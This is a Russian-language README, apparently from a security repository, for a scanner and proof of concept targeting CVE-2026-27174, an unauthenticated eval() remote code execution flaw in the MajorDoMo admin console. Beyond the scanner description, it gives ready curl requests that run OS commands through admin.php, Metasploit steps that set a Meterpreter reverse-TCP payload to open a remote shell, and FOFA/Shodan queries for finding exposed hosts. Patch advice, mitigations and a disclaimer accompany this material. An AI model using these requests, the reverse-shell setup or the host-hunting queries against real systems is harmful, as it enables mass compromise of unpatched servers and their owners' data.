
CVE-2026-27174 — Неаутентифицированное удалённое выполнение кода через PHP-консоль панели администратора
Proof-of-concept, эксплуатирующий удалённое выполнение кода без аутентификации через PHP-консоль панели администратора в MajorDomo (Major Domestic Module).
Панель администратора MajorDoMo предоставляет доступ к консоли оценки PHP через /admin.php. Из-за отсутствующего выхода после редиректа аутентификации в panel.class.php, AJAX-обработчик inc_panel_ajax.php подключается безусловно — делая его eval() доступным для любого HTTP-запроса без аутентификации.
Атакующий может выполнить произвольный PHP-код одним GET-запросом, без учётных данных, без предварительного доступа и без какого-либо взаимодействия с жертвой.
scan.py — это неразрушающий многопоточный сканер, который обнаруживает хосты, уязвимые к CVE-2026-27174, не выполняя никаких вредоносных нагрузок.
Сканер работает в три последовательных фазы для каждой цели:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
Случайный буквенно-цифровой маркер генерируется для каждого запроса, чтобы избежать ложных срабатываний из-за кеширования, WAF или загрязнения ответа.
pip install requests
Создайте файл targets.txt с одним IP:PORT на строку:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# строки, начинающиеся с #, игнорируются
# принимается только формат IP:PORT
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonАвтоматически создаётся, когда найден хотя бы один уязвимый хост:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
Основываясь на значении поля system_functions_available в файле result.json, мы можем сформировать GET-запрос, используя функцию(и) system, чтобы эксплуатировать RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#или
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Модуль Metasploit:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Проверьте, что возвращается Vulnerable
run #Проверьте, открывается ли сессия Meterpreter как www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Удалённый атакующий без аутентификации может:
Фактическое воздействие зависит от конфигурации PHP disable_functions на сервере:
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Обновитесь до последней версии MajorDomo (Major Domestic Module).
| Контроль | Предотвращает RCE | Предотвращает выполнение OS-команд |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Этот инструмент предназначен только для авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным.
| Поле | Описание |
|---|
target | Сканированный IP:PORT |
url | Полный URL, где подтверждено RCE |
rce_php | Выполнение PHP-кода подтверждено (всегда true в результатах) |
disable_functions | Настройка PHP disable_functions на сервере (null, если пусто) |
system_functions_available | Функции выполнения OS, доступные атакующему |
impact_level | HIGH (доступно выполнение OS-команд) или MEDIUM (только PHP RCE) |
| Сценарий | Уровень воздействия | Описание |
|---|
Нет disable_functions | КРИТИЧЕСКИЙ | Полное выполнение OS-команд |
| Частичные ограничения | ВЫСОКИЙ | PHP RCE + частичное выполнение OS-команд |
disable_functions блокирует все exec | СРЕДНИЙ | Только PHP RCE (чтение/запись файлов, эксфильтрация данных) |
| Применить патч от 18.02.2026 | ✅ | ✅ |
Брандмауэр / IP-allowlist для /admin.php | ✅ | ✅ |
Ужесточение disable_functions | ❌ | ✅ |